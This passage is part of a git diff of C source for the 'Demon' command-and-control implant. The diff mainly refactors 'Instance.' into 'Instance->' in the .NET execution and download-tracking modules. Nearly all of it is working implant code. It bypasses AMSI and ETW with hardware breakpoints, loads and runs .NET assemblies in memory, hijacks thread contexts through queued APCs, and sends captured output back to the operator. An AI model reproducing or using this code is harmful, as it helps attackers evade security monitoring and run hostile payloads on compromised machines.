} else { - PUTS( "Amsi already patched" ); - PackageAddInt32( PackageInfo, 2 ); - } - PackageTransmit( PackageInfo ); - } */ - /* if Amsi/Etw bypass is enabled */ - if ( Instance.Config.Implant.AmsiEtwPatch == AMSIETW_PATCH_HWBP ) + if ( Instance->Config.Implant.AmsiEtwPatch == AMSIETW_PATCH_HWBP ) { #if _WIN64 PUTS( "Try to patch(less) Amsi/Etw" ) - PackageInfo = PackageCreateWithRequestID( DEMON_COMMAND_ASSEMBLY_INLINE_EXECUTE, Instance.Dotnet->RequestID ); + PackageInfo = PackageCreateWithRequestID( DEMON_COMMAND_ASSEMBLY_INLINE_EXECUTE, Instance->Dotnet->RequestID ); PackageAddInt32( PackageInfo, DOTNET_INFO_PATCHED ); /* check if Amsi is loaded */ AmsiIsLoaded = TRUE; - if ( ! Instance.Modules.Amsi ) { + if ( ! Instance->Modules.Amsi ) { AmsiIsLoaded = RtAmsi(); } @@ -122,13 +104,13 @@ BOOL DotnetExecute( BUFFER Assembly, BUFFER Arguments ) return FALSE; } - ThreadId = U_PTR( Instance.Teb->ClientId.UniqueThread ); + ThreadId = U_PTR( Instance->Teb->ClientId.UniqueThread ); /* add Amsi bypass */ if ( AmsiIsLoaded ) { PUTS( "HwBp Engine add AmsiScanBuffer bypass" ) - if ( ! NT_SUCCESS( Status = HwBpEngineAdd( NULL, ThreadId, Instance.Win32.AmsiScanBuffer, HwBpExAmsiScanBuffer, 0 ) ) ) { + if ( ! NT_SUCCESS( Status = HwBpEngineAdd( NULL, ThreadId, Instance->Win32.AmsiScanBuffer, HwBpExAmsiScanBuffer, 0 ) ) ) { PRINTF( "Failed adding exception to HwBp Engine: %08x\n", Status ) return FALSE; } @@ -136,7 +118,7 @@ BOOL DotnetExecute( BUFFER Assembly, BUFFER Arguments ) /* add Etw bypass */ PUTS( "HwBp Engine add NtTraceEvent bypass" ) - if ( ! NT_SUCCESS( HwBpEngineAdd( NULL, ThreadId, Instance.Win32.NtTraceEvent, HwBpExNtTraceEvent, 1 ) ) ) { + if ( ! NT_SUCCESS( HwBpEngineAdd( NULL, ThreadId, Instance->Win32.NtTraceEvent, HwBpExNtTraceEvent, 1 ) ) ) { PRINTF( "Failed adding exception to HwBp Engine: %08x\n", Status ) return FALSE; } @@ -145,7 +127,7 @@ BOOL DotnetExecute( BUFFER Assembly, BUFFER Arguments ) PackageInfo = NULL; #endif } - else if ( Instance.Config.Implant.AmsiEtwPatch == AMSIETW_PATCH_MEMORY ) { + else if ( Instance->Config.Implant.AmsiEtwPatch == AMSIETW_PATCH_MEMORY ) { /* todo: add memory patching technique */ } else { @@ -153,28 +135,29 @@ BOOL DotnetExecute( BUFFER Assembly, BUFFER Arguments ) } /* Let the operator know what version we are going to use. */ - PackageInfo = PackageCreateWithRequestID( DEMON_COMMAND_ASSEMBLY_INLINE_EXECUTE, Instance.Dotnet->RequestID ); + PackageInfo = PackageCreateWithRequestID( DEMON_COMMAND_ASSEMBLY_INLINE_EXECUTE, Instance->Dotnet->RequestID ); PackageAddInt32( PackageInfo, DOTNET_INFO_NET_VERSION ); - PackageAddBytes( PackageInfo, Instance.Dotnet->NetVersion.Buffer, Instance.Dotnet->NetVersion.Length ); + PackageAddBytes( PackageInfo, Instance->Dotnet->NetVersion.Buffer, Instance->Dotnet->NetVersion.Length ); PackageTransmit( PackageInfo ); + PackageInfo = NULL; RgsBound[ 0 ].cElements = Assembly.Length; RgsBound[ 0 ].lLbound = 0; - Instance.Dotnet->SafeArray = Instance.Win32.SafeArrayCreate( VT_UI1, 1, RgsBound ); + Instance->Dotnet->SafeArray = Instance->Win32.SafeArrayCreate( VT_UI1, 1, RgsBound ); PUTS( "CreateDomain..." ) - if ( ( Result = Instance.Dotnet->ICorRuntimeHost->lpVtbl->CreateDomain( Instance.Dotnet->ICorRuntimeHost, Instance.Dotnet->AppDomainName.Buffer, NULL, &Instance.Dotnet->AppDomainThunk ) ) ) { + if ( ( Result = Instance->Dotnet->ICorRuntimeHost->lpVtbl->CreateDomain( Instance->Dotnet->ICorRuntimeHost, Instance->Dotnet->AppDomainName.Buffer, NULL, &Instance->Dotnet->AppDomainThunk ) ) ) { PRINTF( "CreateDomain Failed: %x\n", Result ) return FALSE; } PUTS( "QueryInterface..." ) - if ( ( Result = Instance.Dotnet->AppDomainThunk->lpVtbl->QueryInterface( Instance.Dotnet->AppDomainThunk, &xIID_AppDomain, (LPVOID*)&Instance.Dotnet->AppDomain ) ) ) { + if ( ( Result = Instance->Dotnet->AppDomainThunk->lpVtbl->QueryInterface( Instance->Dotnet->AppDomainThunk, &xIID_AppDomain, (LPVOID*)&Instance->Dotnet->AppDomain ) ) ) { PRINTF( "QueryInterface Failed: %x\n", Result ) return FALSE; } - if ( ( Result = Instance.Win32.SafeArrayAccessData( Instance.Dotnet->SafeArray, &AssemblyData.Buffer ) ) ) { + if ( ( Result = Instance->Win32.SafeArrayAccessData( Instance->Dotnet->SafeArray, &AssemblyData.Buffer ) ) ) { PRINTF( "SafeArrayAccessData Failed: %x\n", Result ) return FALSE; } @@ -182,53 +165,53 @@ BOOL DotnetExecute( BUFFER Assembly, BUFFER Arguments ) PUTS( "Copy assembly to buffer..." ) MemCopy( AssemblyData.Buffer, Assembly.Buffer, Assembly.Length ); - if ( ( Result = Instance.Win32.SafeArrayUnaccessData( Instance.Dotnet->SafeArray ) ) ) { + if ( ( Result = Instance->Win32.SafeArrayUnaccessData( Instance->Dotnet->SafeArray ) ) ) { PRINTF("SafeArrayUnaccessData Failed: %x\n", Result ) PACKAGE_ERROR_WIN32 } PUTS( "AppDomain Load..." ) - if ( ( Result = Instance.Dotnet->AppDomain->lpVtbl->Load_3( Instance.Dotnet->AppDomain, Instance.Dotnet->SafeArray, &Instance.Dotnet->Assembly ) ) ) { + if ( ( Result = Instance->Dotnet->AppDomain->lpVtbl->Load_3( Instance->Dotnet->AppDomain, Instance->Dotnet->SafeArray, &Instance->Dotnet->Assembly ) ) ) { PRINTF( "AppDomain Failed: %x\n", Result ) return FALSE; } PUTS( "Assembly EntryPoint..." ) - if ( ( Result = Instance.Dotnet->Assembly->lpVtbl->EntryPoint( Instance.Dotnet->Assembly, &Instance.Dotnet->MethodInfo ) ) ) { + if ( ( Result = Instance->Dotnet->Assembly->lpVtbl->EntryPoint( Instance->Dotnet->Assembly, &Instance->Dotnet->MethodInfo ) ) ) { PRINTF( "Assembly EntryPoint Failed: %x\n", Result ) return FALSE; } - Instance.Dotnet->MethodArgs = Instance.Win32.SafeArrayCreateVector( VT_VARIANT, 0, 1 ); //Last field -> entryPoint == 1 is needed if Main(String[] args) 0 if Main() + Instance->Dotnet->MethodArgs = Instance->Win32.SafeArrayCreateVector( VT_VARIANT, 0, 1 ); //Last field -> entryPoint == 1 is needed if Main(String[] args) 0 if Main() - ArgumentsArray = Instance.Win32.CommandLineToArgvW( Arguments.Buffer, &ArgumentsCount ); + ArgumentsArray = Instance->Win32.CommandLineToArgvW( Arguments.Buffer, &ArgumentsCount ); ArgumentsArray++; ArgumentsCount--; - Instance.Dotnet->vtPsa.vt = ( VT_ARRAY | VT_BSTR ); - Instance.Dotnet->vtPsa.parray = Instance.Win32.SafeArrayCreateVector( VT_BSTR, 0, ArgumentsCount ); + Instance->Dotnet->vtPsa.vt = ( VT_ARRAY | VT_BSTR ); + Instance->Dotnet->vtPsa.parray = Instance->Win32.SafeArrayCreateVector( VT_BSTR, 0, ArgumentsCount ); for ( LONG i = 0; i < ArgumentsCount; i++ ) { - if ( ( Result = Instance.Win32.SafeArrayPutElement( Instance.Dotnet->vtPsa.parray, &i, Instance.Win32.SysAllocString( ArgumentsArray[ i ] ) ) ) ) { + if ( ( Result = Instance->Win32.SafeArrayPutElement( Instance->Dotnet->vtPsa.parray, &i, Instance->Win32.SysAllocString( ArgumentsArray[ i ] ) ) ) ) { PRINTF( "Args SafeArrayPutElement Failed: %x\n", Result ) return FALSE; } } - if ( ( Result = Instance.Win32.SafeArrayPutElement( Instance.Dotnet->MethodArgs, idx, &Instance.Dotnet->vtPsa ) ) ) { + if ( ( Result = Instance->Win32.SafeArrayPutElement( Instance->Dotnet->MethodArgs, idx, &Instance->Dotnet->vtPsa ) ) ) { PRINTF( "SafeArrayPutElement Failed: %x\n", Result ) return FALSE; } - Instance.Dotnet->StdOut = Instance.Win32.GetStdHandle( STD_OUTPUT_HANDLE ); - Instance.Win32.SetStdHandle( STD_OUTPUT_HANDLE , Instance.Dotnet->File ); + Instance->Dotnet->StdOut = Instance->Win32.GetStdHandle( STD_OUTPUT_HANDLE ); + Instance->Win32.SetStdHandle( STD_OUTPUT_HANDLE , Instance->Dotnet->File ); - if ( ( Result = Instance.Dotnet->MethodInfo->lpVtbl->Invoke_3( Instance.Dotnet->MethodInfo, Object, Instance.Dotnet->MethodArgs, &Instance.Dotnet->Return ) ) ) { + if ( ( Result = Instance->Dotnet->MethodInfo->lpVtbl->Invoke_3( Instance->Dotnet->MethodInfo, Object, Instance->Dotnet->MethodArgs, &Instance->Dotnet->Return ) ) ) { PRINTF( "Invoke Assembly Failed: %x\n", Result ) return FALSE; } - Instance.Dotnet->Invoked = TRUE; + Instance->Dotnet->Invoked = TRUE; /* push output */ DotnetPush(); @@ -252,56 +235,56 @@ BOOL DotnetExecute( BUFFER Assembly, BUFFER Arguments ) ThreadAttr.Length = sizeof( NT_PROC_THREAD_ATTRIBUTE_LIST ); PUTS( "Creating events..." ) - if ( NT_SUCCESS( Instance.Win32.NtCreateEvent( &Instance.Dotnet->Event, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) && - NT_SUCCESS( Instance.Win32.NtCreateEvent( &Instance.Dotnet->Exit, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) ) + if ( NT_SUCCESS( Instance->Win32.NtCreateEvent( &Instance->Dotnet->Event, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) && + NT_SUCCESS( Instance->Win32.NtCreateEvent( &Instance->Dotnet->Exit, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) ) { - if ( NT_SUCCESS( Instance.Win32.NtCreateThreadEx( &Instance.Dotnet->Thread, THREAD_ALL_ACCESS, NULL, NtCurrentProcess(), Instance.Config.Implant.ThreadStartAddr, NULL, TRUE, 0, 0x10000 * 20, 0x10000 * 20, &ThreadAttr ) ) ) + if ( NT_SUCCESS( Instance->Win32.NtCreateThreadEx( &Instance->Dotnet->Thread, THREAD_ALL_ACCESS, NULL, NtCurrentProcess(), Instance->Config.Implant.ThreadStartAddr, NULL, TRUE, 0, 0x10000 * 20, 0x10000 * 20, &ThreadAttr ) ) ) { - Instance.Dotnet->RopInit = MmHeapAlloc( sizeof( CONTEXT ) ); - Instance.Dotnet->RopInvk = MmHeapAlloc( sizeof( CONTEXT ) ); - Instance.Dotnet->RopEvnt = MmHeapAlloc( sizeof( CONTEXT ) ); - Instance.Dotnet->RopExit = MmHeapAlloc( sizeof( CONTEXT ) ); + Instance->Dotnet->RopInit = MmHeapAlloc( sizeof( CONTEXT ) ); + Instance->Dotnet->RopInvk = MmHeapAlloc( sizeof( CONTEXT ) ); + Instance->Dotnet->RopEvnt = MmHeapAlloc( sizeof( CONTEXT ) ); + Instance->Dotnet->RopExit = MmHeapAlloc( sizeof( CONTEXT ) ); - Instance.Dotnet->RopInit->ContextFlags = CONTEXT_FULL; - if ( NT_SUCCESS( Instance.Win32.NtGetContextThread( Instance.Dotnet->Thread, Instance.Dotnet->RopInit ) ) ) + Instance->Dotnet->RopInit->ContextFlags = CONTEXT_FULL; + if ( NT_SUCCESS( Instance->Win32.NtGetContextThread( Instance->Dotnet->Thread, Instance->Dotnet->RopInit ) ) ) { - MemCopy( Instance.Dotnet->RopInvk, Instance.Dotnet->RopInit, sizeof( CONTEXT ) ); - MemCopy( Instance.Dotnet->RopEvnt, Instance.Dotnet->RopInit, sizeof( CONTEXT ) ); - MemCopy( Instance.Dotnet->RopExit, Instance.Dotnet->RopInit, sizeof( CONTEXT ) ); + MemCopy( Instance->Dotnet->RopInvk, Instance->Dotnet->RopInit, sizeof( CONTEXT ) ); + MemCopy( Instance->Dotnet->RopEvnt, Instance->Dotnet->RopInit, sizeof( CONTEXT ) ); + MemCopy( Instance->Dotnet->RopExit, Instance->Dotnet->RopInit, sizeof( CONTEXT ) ); // This rop executes the entrypoint of the assembly - Instance.Dotnet->RopInvk->ContextFlags = CONTEXT_FULL; - Instance.Dotnet->RopInvk->Rsp -= U_PTR( 0x1000 * 6 ); - Instance.Dotnet->RopInvk->Rip = U_PTR( Instance.Dotnet->MethodInfo->lpVtbl->Invoke_3 ); - Instance.Dotnet->RopInvk->Rcx = U_PTR( Instance.Dotnet->MethodInfo ); - Instance.Dotnet->RopInvk->Rdx = U_PTR( &Object ); - Instance.Dotnet->RopInvk->R8 = U_PTR( Instance.Dotnet->MethodArgs ); - Instance.Dotnet->RopInvk->R9 = U_PTR( &Instance.Dotnet->Return ); - *( PVOID* )( Instance.Dotnet->RopInvk->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = U_PTR( Instance.Win32.NtTestAlert ); + Instance->Dotnet->RopInvk->ContextFlags = CONTEXT_FULL; + Instance->Dotnet->RopInvk->Rsp -= U_PTR( 0x1000 * 6 ); + Instance->Dotnet->RopInvk->Rip = U_PTR( Instance->Dotnet->MethodInfo->lpVtbl->Invoke_3 ); + Instance->Dotnet->RopInvk->Rcx = U_PTR( Instance->Dotnet->MethodInfo ); + Instance->Dotnet->RopInvk->Rdx = U_PTR( &Object ); + Instance->Dotnet->RopInvk->R8 = U_PTR( Instance->Dotnet->MethodArgs ); + Instance->Dotnet->RopInvk->R9 = U_PTR( &Instance->Dotnet->Return ); + *( PVOID* )( Instance->Dotnet->RopInvk->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = U_PTR( Instance->Win32.NtTestAlert ); // This rop tells the main thread (our agent main thread) that the assembly executable finished executing - Instance.Dotnet->RopEvnt->ContextFlags = CONTEXT_FULL; - Instance.Dotnet->RopEvnt->Rsp -= U_PTR( 0x1000 * 5 ); - Instance.Dotnet->RopEvnt->Rip = U_PTR( Instance.Win32.NtSetEvent ); - Instance.Dotnet->RopEvnt->Rcx = U_PTR( Instance.Dotnet->Event ); - Instance.Dotnet->RopEvnt->Rdx = U_PTR( NULL ); - *( PVOID* )( Instance.Dotnet->RopEvnt->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = U_PTR( Instance.Win32.NtTestAlert ); + Instance->Dotnet->RopEvnt->ContextFlags = CONTEXT_FULL; + Instance->Dotnet->RopEvnt->Rsp -= U_PTR( 0x1000 * 5 ); + Instance->Dotnet->RopEvnt->Rip = U_PTR( Instance->Win32.NtSetEvent ); + Instance->Dotnet->RopEvnt->Rcx = U_PTR( Instance->Dotnet->Event ); + Instance->Dotnet->RopEvnt->Rdx = U_PTR( NULL ); + *( PVOID* )( Instance->Dotnet->RopEvnt->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = U_PTR( Instance->Win32.NtTestAlert ); // Wait til we freed everything from the dotnet - Instance.Dotnet->RopExit->ContextFlags = CONTEXT_FULL; - Instance.Dotnet->RopExit->Rsp -= U_PTR( 0x1000 * 4 ); - Instance.Dotnet->RopExit->Rip = U_PTR( Instance.Win32.NtWaitForSingleObject ); - Instance.Dotnet->RopExit->Rcx = U_PTR( Instance.Dotnet->Exit ); - Instance.Dotnet->RopExit->Rdx = U_PTR( FALSE ); - Instance.Dotnet->RopExit->R8 = U_PTR( NULL ); - *( PVOID* )( Instance.Dotnet->RopExit->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = U_PTR( Instance.Win32.NtTestAlert ); + Instance->Dotnet->RopExit->ContextFlags = CONTEXT_FULL; + Instance->Dotnet->RopExit->Rsp -= U_PTR( 0x1000 * 4 ); + Instance->Dotnet->RopExit->Rip = U_PTR( Instance->Win32.NtWaitForSingleObject ); + Instance->Dotnet->RopExit->Rcx = U_PTR( Instance->Dotnet->Exit ); + Instance->Dotnet->RopExit->Rdx = U_PTR( FALSE ); + Instance->Dotnet->RopExit->R8 = U_PTR( NULL ); + *( PVOID* )( Instance->Dotnet->RopExit->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = U_PTR( Instance->Win32.NtTestAlert ); - if ( ! NT_SUCCESS( Instance.Win32.NtQueueApcThread( Instance.Dotnet->Thread, Instance.Win32.NtContinue, Instance.Dotnet->RopInvk, FALSE, NULL ) ) ) goto Leave; - if ( ! NT_SUCCESS( Instance.Win32.NtQueueApcThread( Instance.Dotnet->Thread, Instance.Win32.NtContinue, Instance.Dotnet->RopEvnt, FALSE, NULL ) ) ) goto Leave; - if ( ! NT_SUCCESS( Instance.Win32.NtQueueApcThread( Instance.Dotnet->Thread, Instance.Win32.NtContinue, Instance.Dotnet->RopExit, FALSE, NULL ) ) ) goto Leave; + if ( ! NT_SUCCESS( Instance->Win32.NtQueueApcThread( Instance->Dotnet->Thread, Instance->Win32.NtContinue, Instance->Dotnet->RopInvk, FALSE, NULL ) ) ) goto Leave; + if ( ! NT_SUCCESS( Instance->Win32.NtQueueApcThread( Instance->Dotnet->Thread, Instance->Win32.NtContinue, Instance->Dotnet->RopEvnt, FALSE, NULL ) ) ) goto Leave; + if ( ! NT_SUCCESS( Instance->Win32.NtQueueApcThread( Instance->Dotnet->Thread, Instance->Win32.NtContinue, Instance->Dotnet->RopExit, FALSE, NULL ) ) ) goto Leave; PUTS( "Resume Thread..." ) - if ( NT_SUCCESS( Instance.Win32.NtAlertResumeThread( Instance.Dotnet->Thread, NULL ) ) ) + if ( NT_SUCCESS( Instance->Win32.NtAlertResumeThread( Instance->Dotnet->Thread, NULL ) ) ) { PUTS( "Apc started and assembly invoked." ) @@ -311,7 +294,7 @@ BOOL DotnetExecute( BUFFER Assembly, BUFFER Arguments ) PackageTransmit( PackageInfo ); // we have successfully invoked the main function of the assembly executable. - Instance.Dotnet->Invoked = TRUE; + Instance->Dotnet->Invoked = TRUE; } else PUTS( "NtAlertResumeThread failed" ) @@ -331,31 +314,31 @@ VOID DotnetPushPipe() DWORD Read = 0; DWORD BytesRead = 0; - if ( ! Instance.Dotnet ) + if ( ! Instance->Dotnet ) return; /* see how much there is in the named pipe */ - if ( Instance.Win32.PeekNamedPipe( Instance.Dotnet->Pipe, NULL, 0, NULL, &Read, NULL ) ) + if ( Instance->Win32.PeekNamedPipe( Instance->Dotnet->Pipe, NULL, 0, NULL, &Read, NULL ) ) { PRINTF( "Read: %d\n", Read ); if ( Read > 0 ) { - Instance.Dotnet->Output.Length = Read; - Instance.Dotnet->Output.Buffer = MmHeapAlloc( Instance.Dotnet->Output.Length ); + Instance->Dotnet->Output.Length = Read; + Instance->Dotnet->Output.Buffer = MmHeapAlloc( Instance->Dotnet->Output.Length ); - Instance.Win32.ReadFile( Instance.Dotnet->Pipe, Instance.Dotnet->Output.Buffer, Instance.Dotnet->Output.Length, &BytesRead, NULL ); - Instance.Dotnet->Output.Length = BytesRead; + Instance->Win32.ReadFile( Instance->Dotnet->Pipe, Instance->Dotnet->Output.Buffer, Instance->Dotnet->Output.Length, &BytesRead, NULL ); + Instance->Dotnet->Output.Length = BytesRead; - PPACKAGE Package = PackageCreateWithRequestID( DEMON_OUTPUT, Instance.Dotnet->RequestID ); - PackageAddBytes( Package, Instance.Dotnet->Output.Buffer, Instance.Dotnet->Output.Length ); + PPACKAGE Package = PackageCreateWithRequestID( DEMON_OUTPUT, Instance->Dotnet->RequestID ); + PackageAddBytes( Package, Instance->Dotnet->Output.Buffer, Instance->Dotnet->Output.Length ); PackageTransmit( Package ); - if ( Instance.Dotnet->Output.Buffer ) + if ( Instance->Dotnet->Output.Buffer ) { - MemSet( Instance.Dotnet->Output.Buffer, 0, Read ); - MmHeapFree( Instance.Dotnet->Output.Buffer ); - Instance.Dotnet->Output.Buffer = NULL; + MemSet( Instance->Dotnet->Output.Buffer, 0, Read ); + MmHeapFree( Instance->Dotnet->Output.Buffer ); + Instance->Dotnet->Output.Buffer = NULL; } } } @@ -363,17 +346,17 @@ VOID DotnetPushPipe() VOID DotnetPush() { - if ( ! Instance.Dotnet ) + if ( ! Instance->Dotnet ) return; - PRINTF( "Instance.Dotnet->Invoked: %s\n", Instance.Dotnet->Invoked ? "TRUE" : "FALSE" ) - if ( Instance.Dotnet->Invoked ) + PRINTF( "Instance->Dotnet->Invoked: %s\n", Instance->Dotnet->Invoked ? "TRUE" : "FALSE" ) + if ( Instance->Dotnet->Invoked ) { /* Read from the assembly named pipe and send it to the server */ DotnetPushPipe(); /* check if the assembly is still running. */ - /* if ( Instance.Win32.WaitForSingleObjectEx( Instance.Dotnet->Event, 0, FALSE ) == WAIT_OBJECT_0 ) + /* if ( Instance->Win32.WaitForSingleObjectEx( Instance->Dotnet->Event, 0, FALSE ) == WAIT_OBJECT_0 ) { PUTS( "Event has been signaled" ) @@ -396,122 +379,122 @@ VOID DotnetPush() VOID DotnetClose() { #ifndef DEBUG - Instance.Win32.FreeConsole(); + Instance->Win32.FreeConsole(); #endif - if ( Instance.Config.Implant.AmsiEtwPatch == AMSIETW_PATCH_HWBP ) { + if ( Instance->Config.Implant.AmsiEtwPatch == AMSIETW_PATCH_HWBP ) { HwBpEngineDestroy( NULL ); } - if ( Instance.Dotnet->Event ) { - SysNtClose( Instance.Dotnet->Event ); + if ( Instance->Dotnet->Event ) { + SysNtClose( Instance->Dotnet->Event ); } - if ( Instance.Dotnet->Pipe ) { - SysNtClose( Instance.Dotnet->Pipe ); + if ( Instance->Dotnet->Pipe ) { + SysNtClose( Instance->Dotnet->Pipe ); } - if ( Instance.Dotnet->File ) { - SysNtClose( Instance.Dotnet->File ); + if ( Instance->Dotnet->File ) { + SysNtClose( Instance->Dotnet->File ); } - if ( Instance.Dotnet->RopInit ) { - MemSet( Instance.Dotnet->RopInit, 0, sizeof( CONTEXT ) ); - Instance.Win32.LocalFree( Instance.Dotnet->RopInit ); - Instance.Dotnet->RopInit = NULL; + if ( Instance->Dotnet->RopInit ) { + MemSet( Instance->Dotnet->RopInit, 0, sizeof( CONTEXT ) ); + Instance->Win32.LocalFree( Instance->Dotnet->RopInit ); + Instance->Dotnet->RopInit = NULL; } - if ( Instance.Dotnet->RopInvk ) + if ( Instance->Dotnet->RopInvk ) { - MemSet( Instance.Dotnet->RopInvk, 0, sizeof( CONTEXT ) ); - Instance.Win32.LocalFree( Instance.Dotnet->RopInvk ); - Instance.Dotnet->RopInvk = NULL; + MemSet( Instance->Dotnet->RopInvk, 0, sizeof( CONTEXT ) ); + Instance->Win32.LocalFree( Instance->Dotnet->RopInvk ); + Instance->Dotnet->RopInvk = NULL; } - if ( Instance.Dotnet->RopEvnt ) + if ( Instance->Dotnet->RopEvnt ) { - MemSet( Instance.Dotnet->RopEvnt, 0, sizeof( CONTEXT ) ); - Instance.Win32.LocalFree( Instance.Dotnet->RopEvnt ); - Instance.Dotnet->RopEvnt = NULL; + MemSet( Instance->Dotnet->RopEvnt, 0, sizeof( CONTEXT ) ); + Instance->Win32.LocalFree( Instance->Dotnet->RopEvnt ); + Instance->Dotnet->RopEvnt = NULL; } - if ( Instance.Dotnet->RopExit ) + if ( Instance->Dotnet->RopExit ) { - MemSet( Instance.Dotnet->RopExit, 0, sizeof( CONTEXT ) ); - Instance.Win32.LocalFree( Instance.Dotnet->RopExit ); - Instance.Dotnet->RopExit = NULL; + MemSet( Instance->Dotnet->RopExit, 0, sizeof( CONTEXT ) ); + Instance->Win32.LocalFree( Instance->Dotnet->RopExit ); + Instance->Dotnet->RopExit = NULL; } PUTS( "Free Output" ) - if ( Instance.Dotnet->Output.Buffer ) + if ( Instance->Dotnet->Output.Buffer ) { - MemSet( Instance.Dotnet->Output.Buffer, 0, Instance.Dotnet->Output.Length ); - Instance.Win32.LocalFree( Instance.Dotnet->Output.Buffer ); - Instance.Dotnet->Output.Buffer = NULL; + MemSet( Instance->Dotnet->Output.Buffer, 0, Instance->Dotnet->Output.Length ); + Instance->Win32.LocalFree( Instance->Dotnet->Output.Buffer ); + Instance->Dotnet->Output.Buffer = NULL; } PUTS( "Unload and free CLR" ) - if ( Instance.Dotnet->MethodArgs ) + if ( Instance->Dotnet->MethodArgs ) { - Instance.Win32.SafeArrayDestroy( Instance.Dotnet->MethodArgs ); - Instance.Dotnet->MethodArgs = NULL; + Instance->Win32.SafeArrayDestroy( Instance->Dotnet->MethodArgs ); + Instance->Dotnet->MethodArgs = NULL; } - if ( Instance.Dotnet->MethodInfo != NULL ) + if ( Instance->Dotnet->MethodInfo != NULL ) { - Instance.Dotnet->MethodInfo->lpVtbl->Release( Instance.Dotnet->MethodInfo ); - Instance.Dotnet->MethodInfo = NULL; + Instance->Dotnet->MethodInfo->lpVtbl->Release( Instance->Dotnet->MethodInfo ); + Instance->Dotnet->MethodInfo = NULL; } - if ( Instance.Dotnet->Assembly != NULL ) + if ( Instance->Dotnet->Assembly != NULL ) { - Instance.Dotnet->Assembly->lpVtbl->Release( Instance.Dotnet->Assembly ); - Instance.Dotnet->Assembly = NULL; + Instance->Dotnet->Assembly->lpVtbl->Release( Instance->Dotnet->Assembly ); + Instance->Dotnet->Assembly = NULL; } - if ( Instance.Dotnet->AppDomain ) + if ( Instance->Dotnet->AppDomain ) { - Instance.Dotnet->AppDomain->lpVtbl->Release( Instance.Dotnet->AppDomain ); - Instance.Dotnet->AppDomain = NULL; + Instance->Dotnet->AppDomain->lpVtbl->Release( Instance->Dotnet->AppDomain ); + Instance->Dotnet->AppDomain = NULL; } - if ( Instance.Dotnet->AppDomainThunk != NULL ) + if ( Instance->Dotnet->AppDomainThunk != NULL ) { - Instance.Dotnet->AppDomainThunk->lpVtbl->Release( Instance.Dotnet->AppDomainThunk ); + Instance->Dotnet->AppDomainThunk->lpVtbl->Release( Instance->Dotnet->AppDomainThunk ); } - if ( Instance.Dotnet->ICorRuntimeHost ) + if ( Instance->Dotnet->ICorRuntimeHost ) { - Instance.Dotnet->ICorRuntimeHost->lpVtbl->UnloadDomain( Instance.Dotnet->ICorRuntimeHost, Instance.Dotnet->AppDomainThunk ); - Instance.Dotnet->ICorRuntimeHost->lpVtbl->Stop( Instance.Dotnet->ICorRuntimeHost ); - Instance.Dotnet->ICorRuntimeHost = NULL; + Instance->Dotnet->ICorRuntimeHost->lpVtbl->UnloadDomain( Instance->Dotnet->ICorRuntimeHost, Instance->Dotnet->AppDomainThunk ); + Instance->Dotnet->ICorRuntimeHost->lpVtbl->Stop( Instance->Dotnet->ICorRuntimeHost ); + Instance->Dotnet->ICorRuntimeHost = NULL; } - if ( Instance.Dotnet->ClrRuntimeInfo != NULL ) + if ( Instance->Dotnet->ClrRuntimeInfo != NULL ) { - Instance.Dotnet->ClrRuntimeInfo->lpVtbl->Release( Instance.Dotnet->ClrRuntimeInfo ); - Instance.Dotnet->ClrRuntimeInfo = NULL; + Instance->Dotnet->ClrRuntimeInfo->lpVtbl->Release( Instance->Dotnet->ClrRuntimeInfo ); + Instance->Dotnet->ClrRuntimeInfo = NULL; } - if ( Instance.Dotnet->MetaHost != NULL ) + if ( Instance->Dotnet->MetaHost != NULL ) { - Instance.Dotnet->MetaHost->lpVtbl->Release( Instance.Dotnet->MetaHost ); - Instance.Dotnet->MetaHost = NULL; + Instance->Dotnet->MetaHost->lpVtbl->Release( Instance->Dotnet->MetaHost ); + Instance->Dotnet->MetaHost = NULL; } - if ( Instance.Dotnet->Thread ) { - SysNtTerminateThread( Instance.Dotnet->Thread, 0 ); - SysNtClose( Instance.Dotnet->Thread ); + if ( Instance->Dotnet->Thread ) { + SysNtTerminateThread( Instance->Dotnet->Thread, 0 ); + SysNtClose( Instance->Dotnet->Thread ); } - if ( Instance.Dotnet->Exit ) { - SysNtClose( Instance.Dotnet->Exit ); + if ( Instance->Dotnet->Exit ) { + SysNtClose( Instance->Dotnet->Exit ); } - if ( Instance.Dotnet ) { - MemSet( Instance.Dotnet, 0, sizeof( DOTNET_ARGS ) ); - MmHeapFree( Instance.Dotnet ); - Instance.Dotnet = NULL; + if ( Instance->Dotnet ) { + MemSet( Instance->Dotnet, 0, sizeof( DOTNET_ARGS ) ); + MmHeapFree( Instance->Dotnet ); + Instance->Dotnet = NULL; } } @@ -544,7 +527,7 @@ DWORD ClrCreateInstance( LPCWSTR dotNetVersion, PICLRMetaHost *ppClrMetaHost, PI if ( RtMscoree() ) { - if ( Instance.Win32.CLRCreateInstance( &xCLSID_CLRMetaHost, &xIID_ICLRMetaHost, (LPVOID*)ppClrMetaHost ) == S_OK ) + if ( Instance->Win32.CLRCreateInstance( &xCLSID_CLRMetaHost, &xIID_ICLRMetaHost, (LPVOID*)ppClrMetaHost ) == S_OK ) { if ( ( *ppClrMetaHost )->lpVtbl->GetRuntime( *ppClrMetaHost, dotNetVersion, &xIID_ICLRRuntimeInfo, (LPVOID*)ppClrRuntimeInfo ) == S_OK ) { diff --git a/payloads/Demon/src/core/Download.c b/payloads/Demon/src/core/Download.c index 056fbe9..affdfb2 100644 --- a/payloads/Demon/src/core/Download.c +++ b/payloads/Demon/src/core/Download.c @@ -12,13 +12,13 @@ PDOWNLOAD_DATA DownloadAdd( HANDLE hFile, LONGLONG MaxSize ) Download->hFile = hFile; Download->Size = MaxSize; Download->State = DOWNLOAD_STATE_RUNNING; - Download->Next = Instance.Downloads; - Download->RequestID = Instance.CurrentRequestID; + Download->Next = Instance->Downloads; + Download->RequestID = Instance->CurrentRequestID; /* Push to linked list */ - Instance.Downloads = Download; + Instance->Downloads = Download; - PRINTF( "Instance.Downloads => %p\n", Instance.Downloads ) + PRINTF( "Instance->Downloads => %p\n", Instance->Downloads ) return Download; } @@ -28,7 +28,7 @@ 